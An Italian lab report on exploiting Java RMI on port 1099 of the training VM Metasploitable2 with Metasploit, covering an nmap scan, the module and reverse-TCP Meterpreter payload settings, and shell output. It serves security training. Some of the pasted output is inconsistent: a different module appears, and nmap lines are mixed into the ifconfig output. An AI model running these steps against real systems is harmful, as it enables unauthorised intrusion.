

Report: Utilizzo di Metasploit su Kali Linux per Sfruttare un Exploit Java-RMI sulla Porta 1099 di una Macchina Target (Metasploitable2)

Introduzione

Questo report descrive dettagliatamente il processo di utilizzo di Metasploit su una distribuzione Kali Linux per sfruttare un exploit Java-RMI sulla porta 1099 di una macchina target, Metasploitable2. L'obiettivo era ottenere l'accesso alla macchina target tramite una shell remota.

Fasi del Processo

1. Configurazione dell'Ambiente

1. Avvio di Kali Linux e Metasploitable2

- Avviare Kali Linux e la macchina virtuale Metasploitable2.
- Assicurarsi che entrambe le macchine siano nella stessa rete o configurare correttamente il networking per consentire la comunicazione.

2. Scansione delle Porte Aperte

1. Utilizzo di Nmap per Scansione delle Porte

- Eseguire una scansione delle porte sulla macchina target per identificare i servizi in esecuzione.

```
nmap -sV <192.168.11.112>
```

```

(kali@samu)-[~]
$ sudo nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 15:52 CEST
Stats: 0:02:14 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.65% done; ETC: 15:54 (0:00:05 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  unknown
MAC Address: 08:00:27:00:C9:13 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.18 seconds

```

- Verificare che la porta 1099 sia aperta e in ascolto su Java RMI.

3. Avvio di Metasploit

1. Esecuzione di Metasploit

- Avviare il Metasploit Framework su Kali Linux.

```
bash
```

```
msfconsole
```

4. Ricerca dell'Exploit

1. Ricerca dell'Exploit RMI

- Cercare exploit disponibili per Java RMI.

```
search rmi
```

2. Selezione dell'Exploit

- Identificare l'exploit adatto, ad esempio `exploit/multi/misc/java_rmi_server`.

use exploit/multi/misc/java_rmi_server

5. Configurazione dell'Exploit

1. Impostazione dei Parametri dell'Exploit

- Configurare l'host remoto e la porta.

set RHOST <192.168.11.112>

set RPORT 1099

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.11.112:1099).
msf6 exploit(multi/browser/java_rmi_connection_impl) > show options

Module options (exploit/multi/browser/java_rmi_connection_impl):



| Name    | Current Setting | Required | Description                                                                                                                           |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| SRVHOST | 192.168.11.112  | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 1099            | yes      | The local port to listen on.                                                                                                          |
| SSL     | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

2. Impostazione del Payload

- Scegliere un payload per ottenere una shell. Ad esempio, `java/meterpreter/reverse_tcp`.

set PAYLOAD java/meterpreter/reverse_tcp

set LHOST <192.168.11.111>

set LPORT 4444

6. Esecuzione dell'Exploit

1. Lancio dell'Exploit

- Eseguire l'exploit.

exploit

7. Ottenimento della Shell

1. Accesso Tramite Shell

- Se l'exploit ha successo, verrà aperta una sessione Meterpreter.

meterpreter >

2. Verifica dell'Accesso

- Eseguire comandi sulla macchina target per verificare l'accesso.

meterpreter > ifconfig / route

```

[~] Unknown command: whoami
meterpreter > ifconfig

Interface 1
=====
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::ffff:0:0
21/tcp open  ftp          vsftpd 2.3.4
22/tcp open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1
telnet      Linux telnetd
smtp        Postfix smtpd
Interface 2
=====
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe00:c913
IPv6 Netmask : ::ffff:0:0
3131/tcp open  login?
meterpreter > info
Usage: info <module>
Prints information about a module
meterpreter > ls
Listing: /
=====

```

```

meterpreter > route
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0
meterpreter > route
IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::ffff:0:0   ::           0            lo
fe80::a00:27ff:fe00:c913 ::           0            eth0
meterpreter >

```

Risultati

-Accesso Riuscito: L'exploit è stato eseguito con successo, e abbiamo ottenuto l'accesso alla shell Meterpreter sulla macchina target Metasploitable2.

-Verifica: Utilizzando comandi ifconfig, abbiamo confermato l'accesso remoto alla macchina target.